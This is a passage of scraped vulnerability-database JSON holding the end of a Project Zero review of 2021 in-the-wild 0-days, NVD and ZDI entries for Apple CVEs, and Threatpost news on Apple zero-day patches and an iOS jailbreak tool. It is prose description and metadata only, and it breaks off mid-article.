they\u2019ve never been found or because they don\u2019t publicly disclose?\n\nUnless a vendor has told us that they will publicly disclose exploitation status for all vulnerabilities in their platforms, we, the public, don\u2019t know if the absence of an annotation means that there is no known exploitation of a vulnerability or if there is, but the vendor is just not sharing that information publicly. Thankfully this question is something that has a pretty clear solution: all device and software vendors agreeing to publicly disclose when there is evidence to suggest that a vulnerability in their product is being exploited in-the-wild.\n\n## Are we seeing the same bug patterns because that\u2019s what we know how to detect?\n\nAs we described earlier in this report, all the 0-days we saw in 2021 had similarities to previously seen vulnerabilities. This leads us to wonder whether or not that\u2019s actually representative of what attackers are using. Are attackers actually having success exclusively using vulnerabilities in bug classes and components that are previously public? Or are we detecting all these 0-days with known bug patterns because that\u2019s what we know how to detect? Public security research would suggest that yes, attackers are still able to have success with using vulnerabilities in known components and bug classes the majority of the time. But we\u2019d still expect to see a few novel and unexpected vulnerabilities in the grouping. We posed this question back in the 2019 year-in-review and it still lingers. \n\n## Where are the spl0itz?\n\nTo successfully exploit a vulnerability there are two key pieces that make up that exploit: the vulnerability being exploited, and the exploitation method (how that vulnerability is turned into something useful). \n\nUnfortunately, this report could only really analyze one of these components: the vulnerability. Out of the 58 0-days, only 5 have an exploit sample publicly available. Discovered in-the-wild 0-days are the failure case for attackers and a key opportunity for defenders to learn what attackers are doing and make it harder, more time-intensive, more costly, to do it again. Yet without the exploit sample or a detailed technical write-up based upon the sample, we can only focus on fixing the vulnerability rather than also mitigating the exploitation method. This means that attackers are able to continue to use their existing exploit methods rather than having to go back to the design and development phase to build a new exploitation method. While acknowledging that sharing exploit samples can be challenging (we have that challenge too!), we hope in 2022 there will be more sharing of exploit samples or detailed technical write-ups so that we can come together to use every possible piece of information to make it harder for the attackers to exploit more users.\n\nAs an aside, if you have an exploit sample that you\u2019re willing to share with us, please reach out. Whether it\u2019s sharing with us and having us write a detailed technical description and analysis or having us share it publicly, we\u2019d be happy to work with you.\n\n# Conclusion\n\nLooking back on 2021, what comes to mind is \u201cbaby steps\u201d. We can see clear industry improvement in the detection and disclosure of 0-day exploits. But the better detection and disclosure has highlighted other opportunities for progress. As an industry we\u2019re not making 0-day hard. Attackers are having success using vulnerabilities similar to what we\u2019ve seen previously and in components that have previously been discussed as attack surfaces.The goal is to force attackers to start from scratch each time we detect one of their exploits: they\u2019re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. And while we made distinct progress in detection and disclosure it has shown us areas where that can continue to improve.\n\nWhile this all may seem daunting, the promising part is that we\u2019ve done it before: we have made clear progress on previously daunting goals. In 2019, we discussed the large detection deficit for 0-day exploits and 2 years later more than double were detected and disclosed. So while there is still plenty more work to do, it\u2019s a tractable problem. There are concrete steps that the tech and security industries can take to make it even more progress: \n\n\n 1. Make it an industry standard behavior for all vendors to publicly disclose when there is evidence to suggest that a vulnerability in their product is being exploited,\n 2. Vendors and security researchers sharing exploit samples or detailed descriptions of the exploit techniques.\n 3. Continued concerted efforts on reducing memory corruption vulnerabilities or rendering them unexploitable.\n\nThrough 2021 we continually saw the real world impacts of the use of 0-day exploits against users and entities. Amnesty International, the Citizen Lab, and others highlighted [over](<https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/>) and [over](<https://www.amnesty.org/en/documents/doc10/4491/2021/en/>) how governments were using commercial surveillance products against [journalists](<https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/>), [human rights defenders](<https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/>), and [government officials](<https://www.reuters.com/technology/exclusive-us-state-department-phones-hacked-with-israeli-company-spyware-sources-2021-12-03/>). We saw many enterprises scrambling to remediate and protect themselves from the [Exchange Server 0-days](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). And we even learned of peer [security researchers being targeted by ](<https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/>)[North Korean government hackers](<https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/>). While the majority of people on the planet do not need to worry about their own personal risk of being targeted with 0-days, 0-day exploitation still affects us all. These 0-days tend to have an outsized impact on society so we need to continue doing whatever we can to make it harder for attackers to be successful in these attacks.\n\n2021 showed us we\u2019re on the right track and making progress, but there\u2019s plenty more to be done to make 0-day hard.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-19T00:00:00", "type": "googleprojectzero", "title": "\nThe More You Know, The More You Know You Don\u2019t Know\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4654", "CVE-2019-13720", "CVE-2019-2215", "CVE-2019-6625", "CVE-2020-0688", "CVE-2020-11261", "CVE-2020-16009", "CVE-2020-27932", "CVE-2020-27950", "CVE-2021-0920", "CVE-2021-1048", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1844", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-28310", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30737", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-30883", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-36948", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-41773", "CVE-2021-42321", "CVE-2022-21882", "CVE-2022-22587"], "modified": "2022-04-19T00:00:00", "id": "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156", "href": "https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-05-27T14:40:58", "description": "A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code. This issue is fixed in tvOS 14.6, Security Update 2021-004 Mojave, iOS 14.6 and iPadOS 14.6, iOS 12.5.4, Security Update 2021-003 Catalina, macOS Big Sur 11.4, watchOS 7.5. Processing a maliciously crafted certificate may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-08T14:15:00", "type": "cve", "title": "CVE-2021-30737", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30737"], "modified": "2023-01-09T16:41:00", "cpe": ["cpe:/o:apple:mac_os_x:10.15.7", "cpe:/o:apple:mac_os_x:10.15.5", "cpe:/o:apple:mac_os_x:10.14.6", "cpe:/o:apple:mac_os_x:10.15.6", "cpe:/o:apple:mac_os_x:10.14.5"], "id": "CVE-2021-30737", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-30737", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-002:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-004:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-006:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-005:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-007:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-005:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-003:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:-:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.6:-:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:-:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:supplemental_update:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020-007:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-007:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-006:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:supplemental_update_2:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.5:*:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2021-002:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020-005:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2021-003:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2021-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-004:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-002:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.5:*:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:supplemental_update:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.6:supplemental_update:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-002:*:*:*:*:*:*"]}, {"lastseen": "2023-05-27T14:14:31", "description": "A stack overflow was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave, watchOS 7.3, tvOS 14.4, iOS 14.4 and iPadOS 14.4. Processing a maliciously crafted text file may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-02T18:15:00", "type": "cve", "title": "CVE-2021-1772", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1772"], "modified": "2022-06-03T14:25:00", "cpe": ["cpe:/o:apple:mac_os_x:10.15.7", "cpe:/o:apple:mac_os_x:10.14.6"], "id": "CVE-2021-1772", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-1772", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-005:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-006:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:supplemental_update_2:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-004:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-005:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-002:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-003:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-007:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:-:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:-:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-004:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:supplemental_update:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:supplemental_update:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-007:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-006:*:*:*:*:*:*"]}, {"lastseen": "2023-05-27T14:14:32", "description": "A race condition was addressed with improved locking. This issue is fixed in macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave, watchOS 7.3, tvOS 14.4, iOS 14.4 and iPadOS 14.4. A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited..", "cvss3": {"exploitabilityScore": 1.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.0, "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-02T18:15:00", "type": "cve", "title": "CVE-2021-1782", "cwe": ["CWE-269", "CWE-362"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782"], "modified": "2021-04-09T18:08:00", "cpe": ["cpe:/o:apple:mac_os_x:10.15.7", "cpe:/o:apple:mac_os_x:10.14.6"], "id": "CVE-2021-1782", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-1782", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-005:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-006:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:supplemental_update_2:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-004:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-005:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-002:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-003:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-007:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:-:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:-:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-004:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-001:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:supplemental_update:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.15.7:supplemental_update:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-007:*:*:*:*:*:*", "cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-006:*:*:*:*:*:*"]}], "zdi": [{"lastseen": "2023-05-27T15:52:08", "description": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Apple macOS. Interaction with the CoreText library is required to exploit this vulnerability but attack vectors may vary depending on the implementation. The specific flaw exists within the parsing of TTF fonts. Crafted data in a TTF file can trigger a write past the end of an allocated data structure. An attacker can leverage this vulnerability to execute code in the context of the current process.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-04T00:00:00", "type": "zdi", "title": "Apple macOS CoreText TTF Parsing Out-of-Bounds Write Remote Code Execution", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1772"], "modified": "2021-02-04T00:00:00", "id": "ZDI-21-149", "href": "https://www.zerodayinitiative.com/advisories/ZDI-21-149/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T15:48:22", "description": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Apple macOS. Interaction with the CoreText library is required to exploit this vulnerability but attack vectors may vary depending on the implementation. The specific flaw exists within the parsing of TTF fonts. A crafted TTF font can trigger an overflow of a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-25T00:00:00", "type": "zdi", "title": "Apple macOS CoreText TTF Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1772"], "modified": "2021-06-25T00:00:00", "id": "ZDI-21-758", "href": "https://www.zerodayinitiative.com/advisories/ZDI-21-758/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2021-03-02T18:06:16", "description": "Hackers behind previous [iPhone jailbreak tools](<https://threatpost.com/new-ios-jailbreak-tool-works-on-iphone-models-ios-11-to-ios-13-5/156045/>) have released a jailbreak update based on a recently discovered and patched iPhone vulnerability. According to iPhone jailbreakers at UnC0ver, the tool allows users to take full control over unpatched iPhones.\n\nThe jailbreak\u2014which UnC0ver said works on iOS versions 11.0 to 14.3\u2013exploits the kernel vulnerability CVE-2021-1782, one of [three iOS flaws](<https://threatpost.com/apple-patches-zero-days-ios-emergency-update/163374/>) for which Apple released an emergency update, iOS 14.4, last month. At the time the company said the vulnerabilities potentially were being exploited in the wild.\n\nWith the release of 14.4, a number of devices already will have been updated, which means the jailbreak won\u2019t work. However, anyone with a device running 14.3 or earlier version of iOS can use the tool to hack into their iPhone, according to UnC0ver. \n[](<https://threatpost.com/newsletter-sign/>)UnC0ver [shared its discovery on Twitter](<https://twitter.com/Pwn20wnd/status/1365833293069975557>), announcing UnC0ver v6.0.0, after one of the group\u2019s members, Pwn20wnd, who put out several teaser tweets about the imminent arrival of the jailbreak tool before its release.\n\n\u201cTweet your device model and why you will be jailbreaking your device on iOS 14 with the hashtag [#unc0ver](<https://twitter.com/hashtag/unc0ver?src=hashtag_click>)!\u201d Pwn20wnd tweeted on Feb. 27 before releasing the tool, with other enthusiasts echoing the call to spread the news.\n\n## What Exactly is a Jailbreak Tool?\n\nJailbreak tools are software that take advantage of vulnerabilities in iOS to allow users root access and full control of their device. Jailbreaking bypasses DRM restrictions, allowing users to run unauthorized and custom software as well as make other tweaks to iOS.\n\nApple\u2019s iOS and other OSes for its products are notoriously closed-source, which has irked developers that like to peer under the hood and play with the code on their devices. The company historically has cited security reasons for not permitting its users tinker with the proprietary code for iOS.\n\nJailbreaks like the ones unC0ver has become notorious for releasing have become popular ways for iOS developers and users to hack into their own devices to make custom changes to their devices, and are typically met with enthusiasm from iPhone aficionados.\n\n\u201cIt\u2019s great to see [#unc0ver](<https://twitter.com/hashtag/unc0ver?src=hashtag_click>) after such a long wait for a iOS 14 jailbreak on newer devices. even better that it was a complete surprise!\u201d tweeted [Jamie Bishop](<https://twitter.com/jamiebishop123>), a software engineer and self-proclaimed iOS hacker.\n\nHowever, some enthusiasts grumbled that they wish they\u2019d had prior warning that a jailbreak was going to be released, because their devices had already updated to iOS 14.4 and so the tool was rendered useless to them.\n\n\u201cWell\u2026A little heads up would\u2019ve been appreciated,\u201d [tweeted](<https://twitter.com/ddavid_son/status/1365827024774922240>) [David Davidson](<https://twitter.com/ddavid_son>), and iPhone user in Israel, in response to Bishop. \u201cNow there\u2019s a lot of us with nothing to do.\u201d\n\nIt\u2019s been a little more than 10 months since UnC0ver released its last iPhone jailbreak tool. That one came in May 2020, which allowed people to break into devices up to iOS 13.5, which was then the latest release. Apple quietly [released a patch](<https://threatpost.com/apple-jailbreak-zero-day-patch/156201/>) for the jailbreak not long after.\n", "cvss3": {}, "published": "2021-03-02T17:54:53", "type": "threatpost", "title": "Jailbreak Tool Works on iPhones Up to iOS 14.3", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1782"], "modified": "2021-03-02T17:54:53", "id": "THREATPOST:26C336F10C4AB0FEC01844CA1040746F", "href": "https://threatpost.com/jailbreak-tool-works-on-iphones-up-to-ios-14-3/164420/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-01-27T12:35:42", "description": "Apple continues to put out potential security fires by patching zero-day vulnerabilities, releasing an emergency update this week to patch three more recently discovered in iOS after a major software update in November already fixed three that were being actively exploited.\n\nThe newly patched bugs are part of a [security update](<https://support.apple.com/en-us/HT212146>) released Tuesday for iOS 14.4 and iPadOS 14.4. One bug, tracked as CVE-2021-1782, was found in the OS kernel, while the other two\u2013CVE-2021-1870 and CVE-2021-1871\u2013were discovered in the WebKit browser engine.\n\nThe most recent vulnerabilities apparently weren\u2019t known when Apple released iOS 14.2 and iPadOS 14.2, a comprehensive update that patched a total of 24 vulnerabilities [back in November](<https://threatpost.com/apple-patches-bugs-zero-days/161010/>). That update included fixes for three zero-day flaws discovered by the Google Project Zero team that were actively being exploited in the wild. \n[](<https://threatpost.com/newsletter-sign/>)Attackers also may be actively taking advantage of the latest bugs, according to Apple. The company described the kernel flaw as a \u201ca race condition\u201d that the update addresses \u201cwith improved locking.\u201d If exploited, the vulnerability can allow a malicious application to elevate privileges.\n\nThe WebKit vulnerabilities are both logic issues that the update addresses with improved restrictions, according to Apple. Exploiting these flaws would allow a remote attacker \u201cto cause arbitrary code execution,\u201d the company said.\n\nAll the zero-days and thus the fixes affect iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch (7th generation), according to Apple. Security experts believe the three are part of an exploit chain attackers can use to escalate privileges and compromise a device after its unsuspecting user falls victim to a malicious website leveraging the WebKit flaw.\n\nAs is custom, however, Apple did not go into detail about how the bugs are being used in attacks, as it doesn\u2019t typically reveal this type of info until most of the affected devices are patched.\n\nThe proliferation of iPhones across the world makes news of any Apple iOS zero-day a security threat to its hundreds of millions of users, and thus a very big deal. In fact, four nation-state-backed advanced persistent threats (APTs) used a zero-day iPhone exploit in a highly publicized [espionage hack](<https://threatpost.com/zero-click-apple-zero-day-pegasus-spy-attack/162515/>) against Al Jazeera journalists, producers, anchors and executives late last year.\n\nPredictably, numerous [iPhone users](<https://twitter.com/Gurgling_MrD/status/1354191338221285377>), [tech professionals](<https://twitter.com/GustavoCols/status/1354160831366361089>) and [security experts](<https://twitter.com/Riazjavedbutt/status/1354307444961406976>) took to Twitter as news of the latest spate of iOS zero-days broke to warn iPhone users to update their devices immediately.\n\n\u201ciOS release notes are always comforting when you have firsts like this,\u201d [tweeted](<https://twitter.com/_DanielSinclair/status/1354299572177268737>) one iPhone user [Daniel Sinclair](<https://twitter.com/_DanielSinclair/status/1348631971480666112>) sarcastically. \u201c3 zero-days actively exploited in the wild. 2 involving WebKit.\u201d\n\nSinclair also [tweeted](<https://twitter.com/_DanielSinclair/status/1348631971480666112>) earlier in the month that his iPhone \u201cinexplicably became bricked,\u201d though it\u2019s unclear if that issue was related to the recently discovered zero-days.\n", "cvss3": {}, "published": "2021-01-27T12:21:28", "type": "threatpost", "title": "Apple Patches Three Actively Exploited Zero-Days, Part of iOS Emergency Update", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871"], "modified": "2021-01-27T12:21:28", "id": "THREATPOST:233067E74345C95478CA096160DFCE43", "href": "https://threatpost.com/apple-patches-zero-days-ios-emergency-update/163374/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-03-09T16:00:51", "description": "Apple is rolling out fixes for a high-severity vulnerability in its WebKit browser engine that, if exploited, could allow remote attackers to completely compromise affected systems.\n\nThe mobile giant released security updates on Monday for the flaw, for its Safari browser, as well as devices running macOS, watchOS and iOS.\n\nThe bug (CVE-2021-1844) ranks 7.7 out of 10 on the CVSS vulnerability-severity scale, making it high-severity. An exploit would allow an attacker to remotely execute code and ultimate take over the system.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nApple on Monday urged affected device users to update as soon as possible: \u201cKeeping your software up-to-date is one of the most important things you can do to maintain your Apple product\u2019s security,\u201d said the company on 